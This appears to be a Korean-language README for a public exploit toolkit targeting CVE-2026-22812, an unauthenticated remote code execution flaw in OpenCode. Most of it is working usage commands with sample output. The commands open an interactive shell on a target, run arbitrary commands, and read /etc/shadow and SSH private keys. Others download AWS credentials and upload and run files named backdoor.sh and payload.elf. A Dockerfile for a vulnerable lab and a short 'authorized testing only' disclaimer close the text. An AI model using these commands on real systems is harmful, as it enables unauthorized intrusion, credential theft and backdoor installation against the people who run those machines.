
Exploitation toolkit for CVE-2026-22812 (OpenCode 인증 없는 RCE) — 승인된 보안 테스트를 위한 대화형 셸, 임의 명령 실행, 파일 업로드/다운로드 및 시스템 정보 수집 기능을 제공합니다.
CVE-2026-22812 - OpenCode 인증 없는 RCE를 위한 완전한 기능의 익스플로잇 툴킷
CVE-2026-22812 익스플로잇 도구는 OpenCode 인증 없는 원격 코드 실행 취약점을 위한 포괄적인 익스플로잇 프레임워크입니다. 이 도구는 대화형 셸, 파일 작업, 시스템 정보 수집을 포함한 여러 익스플로잇 방법을 제공합니다.
# 저장소 복제
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# 의존성 설치
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
출력:
[+] 대상이 CVE-2026-22812에 취약합니다!
[+] 세션 ID: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
출력:
[*] 세션 생성 중...
[+] 세션 생성됨: abc123def456
[+] 대상이 취약합니다!
[*] 실행 중: id
[+] 명령이 성공적으로 실행되었습니다
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
대화형 세션:
[+] 세션 생성됨: abc123def456
[+] 대상이 취약합니다!
[*] 대화형 셸 모드 진입
[!] 명령어 목록은 'help', 종료는 'exit' 입력
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] 파일 읽는 중: /etc/hostname
[+] 파일 읽기 성공 (10 bytes)
dev-server-01
developer@target$ exit
[*] 종료 중...
# 단일 명령
python3 exploit.py -t http://target:4096 -c "whoami"
# 복잡한 명령
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# 여러 명령
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# 민감한 파일 읽기
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# 셸 스크립트 업로드
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# 바이너리 업로드
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# 실행과 함께 업로드
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# 설정 파일 다운로드
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# 자격 증명 다운로드
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# 소스 코드 다운로드
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# 시스템 정보 수집
python3 exploit.py -t http://target:4096 --sysinfo
출력:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# 취약한 OpenCode용 Dockerfile
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# 빌드 및 실행
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# 익스플로잇 테스트
python3 exploit.py -t http://localhost:4096 -i
# 취약한 버전 설치
npm install -g [email protected]
# OpenCode 시작
opencode
# 다른 터미널에서 익스플로잇 실행
python3 exploit.py -t http://localhost:4096 --verify
⚠️ 프로덕션 환경에 취약한 버전을 배포하지 마세요!
주의 깊게 읽으십시오
이 도구는 승인된 보안 테스트 전용으로 제공됩니다.
저자는:
이 도구를 사용함으로써 귀하는 다음 사항에 동의합니다:
사용에 따른 위험은 전적으로 사용자에게 있습니다
⭐ 유용하다면 스타를 눌러주세요! ⭐
승인된 보안 테스트 전용